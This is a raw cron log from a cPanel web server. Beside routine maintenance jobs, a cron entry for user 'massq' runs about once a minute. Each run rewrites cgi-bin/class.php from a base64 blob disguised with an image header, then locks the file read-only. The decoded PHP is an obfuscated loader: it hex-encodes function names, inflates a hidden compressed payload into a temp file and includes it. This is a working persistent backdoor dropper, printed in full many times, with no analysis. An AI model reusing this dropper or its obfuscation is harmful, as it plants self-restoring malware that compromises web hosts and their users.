Sep  4 18:03:01 server CROND[16580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:03:01 server CROND[16582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:04:01 server CROND[17059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:04:01 server CROND[17060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:04:01 server CROND[17061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:05:01 server CROND[17455]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:05:01 server CROND[17454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:05:01 server CROND[17460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:05:01 server CROND[17461]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 18:05:01 server CROND[17463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:05:01 server CROND[17458]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:05:01 server CROND[17462]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 18:05:01 server CROND[17459]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 18:06:01 server CROND[18355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:06:01 server CROND[18356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:06:01 server CROND[18357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:07:01 server CROND[18744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:07:01 server CROND[18746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:07:01 server CROND[18747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:08:01 server CROND[19125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:08:01 server CROND[19127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:08:01 server CROND[19128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:09:01 server CROND[19599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:09:01 server CROND[19601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:09:01 server CROND[19600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:09:01 server CROND[19602]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 18:10:01 server CROND[19994]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 18:10:01 server CROND[19995]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:10:01 server CROND[19999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:10:01 server CROND[20000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:10:01 server CROND[20001]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:10:01 server CROND[20002]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 18:10:01 server CROND[20004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:10:01 server CROND[20003]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 18:11:01 server CROND[20863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:11:01 server CROND[20862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:11:01 server CROND[20864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:12:01 server CROND[21249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:12:01 server CROND[21250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:12:01 server CROND[21251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:12:01 server CROND[21252]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 18:13:01 server CROND[21627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:13:01 server CROND[21628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:13:01 server CROND[21629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:14:01 server CROND[22103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:14:01 server CROND[22104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:14:01 server CROND[22105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:15:01 server CROND[22553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:15:01 server CROND[22554]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:15:01 server CROND[22556]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:15:01 server CROND[22560]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
